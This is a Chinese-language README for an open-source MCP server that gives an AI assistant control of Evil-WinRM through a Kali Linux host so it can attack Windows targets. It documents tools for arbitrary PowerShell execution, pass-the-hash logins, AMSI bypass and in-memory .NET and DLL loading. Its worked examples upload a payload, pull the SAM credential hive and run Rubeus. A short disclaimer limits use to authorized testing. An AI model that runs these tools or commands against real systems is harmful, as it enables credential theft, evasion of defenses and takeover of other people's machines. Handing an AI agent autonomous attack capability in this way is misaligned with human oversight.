内容
# 工具列表
MCP 服务器提供 AI 助手执行 Evil-WinRM 命令的能力,通过 SSH 连接到 Kali Linux 主机,进而攻击 Windows 目标。
## 概述
[Evil-WinRM](https://github.com/Hackplayers/evil-winrm) 是用于渗透测试的终极 WinRM Shell。该 MCP 服务器封装了 Evil-WinRM,以启用 AI 辅助的 Windows 后渗透和横向移动任务。
### 主要功能
- **多种身份验证方法** - 密码、NTLM 哈希(Pass-the-Hash)和 Kerberos
- **PowerShell 执行** - 在目标上运行任意 PowerShell 命令
- **文件传输** - 在 Windows 系统之间上传和下载文件
- **内存执行** - 加载 .NET 程序集和 DLL,而无需接触磁盘
- **AMSI 绕过** - 内置 Bypass-4MSI 功能
- **服务枚举** - 列出具有权限分析的服务
## 架构
```
AI 助手 <-> MCP 服务器 <-> SSH <-> Kali Linux <-> Evil-WinRM <-> Windows 目标
```
MCP 服务器在本地运行,并通过 SSH 在远程 Kali Linux 主机上执行 Evil-WinRM 命令,然后通过 WinRM(端口 5985/5986)连接到 Windows 目标。
## 先决条件
- **Node.js** 18.x 或更高版本
- **Kali Linux**,已安装 Evil-WinRM(`gem install evil-winrm`)
- **SSH 访问**,从 MCP 服务器主机到 Kali Linux
- **网络访问**,从 Kali 到 Windows 目标(WinRM 端口 5985/5986)
## 安装
```bash
# 克隆仓库
git clone https://github.com/schwarztim/sec-evil-winrm-mcp.git
cd sec-evil-winrm-mcp
# 安装依赖项
npm install
# 构建
npm run build
```
## 配置
### 环境变量
| 变量 | 描述 | 默认值 |
| --- | --- | --- |
| `KALI_HOST` | Kali Linux 主机名或 IP 地址 | `kali` |
| `KALI_USER` | Kali 的 SSH 用户名 | `kali` |
| `SSH_KEY` | SSH 私钥路径(可选) | - |
| `EVILWINRM_DEFAULT_PORT` | 默认 WinRM 端口 | `5985` |
### Claude Desktop 配置
将以下内容添加到您的 Claude Desktop 配置文件(`~/.config/Claude/claude_desktop_config.json`):
```json
{
"mcpServers": {
"evil-winrm": {
"command": "node",
"args": ["/path/to/sec-evil-winrm-mcp/dist/index.js"],
"env": {
"KALI_HOST": "your-kali-host",
"KALI_USER": "kali",
"SSH_KEY": "/path/to/ssh/key"
}
}
}
}
```
## 可用工具
### 会话管理
| 工具 | 描述 |
| --- | --- |
| `evilwinrm_connect` | 配置连接参数(主机、用户、密码/哈希、SSL、Kerberos) |
| `evilwinrm_get_session` | 查看当前会话配置 |
| `evilwinrm_clear_session` | 清除会话参数 |
| `evilwinrm_test_connection` | 测试到 Kali 的 SSH 连接性并验证 Evil-WinRM 安装 |
### 命令执行
| 工具 | 描述 |
| --- | --- |
| `evilwinrm_exec` | 在目标上执行 PowerShell 命令 |
| `evilwinrm_services` | 列出 Windows 服务并分析权限 |
### 文件传输
| 工具 | 描述 |
| --- | --- |
| `evilwinrm_upload` | 从 Kali 上传文件到目标 |
| `evilwinrm_download` | 从目标下载文件到 Kali |
### 高级功能
| 工具 | 描述 |
| --- | --- |
| `evilwinrm_menu` | 显示可用的 Evil-WinRM 内置函数 |
| `evilwinrm_dll_loader` | 通过 SMB、本地路径或 HTTP 加载 DLL |
| `evilwinrm_invoke_binary` | 在内存中执行 .NET 程序集 |
| `evilwinrm_bypass_amsi` | 绕过 AMSI(反恶意软件扫描接口)保护 |
## 使用示例
### 使用密码进行基本连接
```
1. evilwinrm_connect(host="192.168.1.100", user="administrator", password="P@ssw0rd")
2. evilwinrm_exec(command="whoami /all")
3. evilwinrm_exec(command="Get-Process | Select-Object -First 10")
```
### Pass-the-Hash 攻击
```
1. evilwinrm_connect(
host="192.168.1.100",
user="administrator",
hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
)
2. evilwinrm_exec(command="hostname")
```
### SSL/HTTPS 连接(端口 5986)
```
1. evilwinrm_connect(
host="192.168.1.100",
user="admin",
password="secret",
port="5986",
ssl=true
)
```
### Kerberos 身份验证
```
1. evilwinrm_connect(
host="dc01.corp.local",
user="admin",
password="P@ssw0rd",
realm="CORP.LOCAL"
)
```
### 文件操作
```
# 上传文件
evilwinrm_upload(local_path="/tmp/payload.exe", remote_path="C:\\Windows\\Temp\\payload.exe")
# 下载文件
evilwinrm_download(remote_path="C:\\Windows\\System32\\config\\SAM", local_path="/tmp/SAM")
```
### 内存执行
```
# 首先,使用可执行文件路径进行配置
evilwinrm_connect(
host="192.168.1.100",
user="admin",
password="secret",
execs_path="/opt/tools/dotnet"
)
# 在内存中执行 .NET 程序集
evilwinrm_invoke_binary(binary_name="Rubeus.exe", arguments="triage")
```
## 安全通知
**本工具仅用于授权的安全测试和研究。**
- 在测试前,请始终获得适当的书面授权
- 仅对您拥有或有明确测试权限的系统进行测试
- 遵循负责任的披露实践
- 遵守所有适用的法律和法规
未经授权访问计算机系统是违法的。作者不承担滥用此工具的责任。
## 参考资料
- [Evil-WinRM GitHub](https://github.com/Hackplayers/evil-winrm)
- [Kali Linux 工具 - Evil-WinRM](https://www.kali.org/tools/evil-winrm/)
- [模型上下文协议](https://modelcontextprotocol.io/)
- [WinRM 文档](https://docs.microsoft.com/en-us/windows/win32/winrm/portal)
## 许可证
MIT 许可证 - 有关详细信息,请参见 [LICENSE](LICENSE)。